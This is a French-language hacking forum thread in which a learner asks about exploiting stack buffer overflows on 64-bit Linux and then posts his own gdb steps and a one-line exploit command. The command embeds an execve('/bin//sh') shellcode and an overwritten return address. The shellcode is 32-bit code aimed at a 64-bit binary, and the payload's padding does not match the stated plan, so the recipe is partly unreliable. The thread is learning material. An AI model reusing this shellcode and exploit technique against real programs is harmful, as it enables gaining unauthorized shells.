OS : systèmes d’exploitation

Salut !

Voulant me remettre un peu au hacking et surtout sortir un peu du cadre "web" je me suis remis pour commencer aux buffer overflow.

Je ne suis pas du tout expert et j’avoue encore avoir beaucoup de mal à comprendre tous les détails mais très schématiquement j’ai bien compris que le but est de faire déborder la mémoire "tampon" utilisée par les données, d’y injecter un shellcode et d’ensuite retomber PILE poil (jeu de mot pourri) sur l’adresse de retour (EIP si je ne m’abuse) qu’on aura écraser avec une adresse pointant avant notre shellcode.

Sur un programme compilé pour une architecture 32 bits ça fonctionne sans problème, par contre j’ai remarqué que l’architecture 64 bits pose au contraire bien plus de soucis mais je ne sais vraiment pas pourquoi.

Donc voilà est t-il encore possible de pouvoir exploiter des buffer overflow sur une archi 64 bits, ne serait que sur un exemple classique (une fonction qui ne fait qu’un strcpy d’un paramètre par exemple, l’exemple ultra classique quoi). Et si ce n’est pas le cas est ce que quelqu’un aurait une explication (pas trop compliquée svp ^^) à donner sur le pourquoi ?

Les failles applicatives c’est passionnant mais ça a pour ma part la fâcheuse tendance à rentrer par une oreille et sortir par une autre ^^ (et je manque cruellement de pratique aussi).

Ah oui et pour terminer si vous avez d’autres types de "faille" du même genre pour continuer à approfondir le sujet ça serait vraiment sympa. 🙂

Merci d’avance. 😉

Salut Que20,

Biensur qu’il est possble d’exploiter des bof sur du 64bits, voici un article qui te présente les différences entre les 2 avec des exemples d’exploitations simples :

http://www.intelligentexploit.com/articles/64-bits-Linux-Stack-Based-Buffer-Overflow.pdf

Ben je dois être une vraie merde parce que même en suivant scrupuleusement le document ... j’y arrive pas xD

Grosso modo ce que je fais :

Je lance le programme avec un argument bien au délà de la limite, ce qui fait que l’adresse de retour est écrasée. Ensuite par tâtonnement (je sais c’est bourrin mais bon, je ne maîtrise pas encore assez que pour pouvoir faire ça "proprement").

Ici on se rend compte qu’il faut 264 bytes pour arriver à l’adresse

Avec gdb :
run $(python -c 'print "A"*264 + "B" * 6') (les B représentent l'adresse de retour)

J’obtiens 0x0000424242424242

Je sais que mon shellcode fait 29 bytes, il me reste donc 235 bytes que je comble avec des NOP

Il me reste ensuite à faire repointer RIP vers une adresse "valide" (une au hasard parmi le bloc de NOP par exemple)

x/300x $rsp

Là je repère mon "bloc" de NOP et note l’adresse (en little-endian)

Ce qui donne au final quelque chose du genre :

./bof $(python -c 'print "A" * 235 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x00\xe5\xff\xff\xff\xf7"')

On ne peut accéder qu’a des adresse inférieur ou égal a 0x00007fffffffffff du coup c’est plus dur (ouai les 0x00 dans RIP c’est pas fou), mais ça reste faisable je confirme :p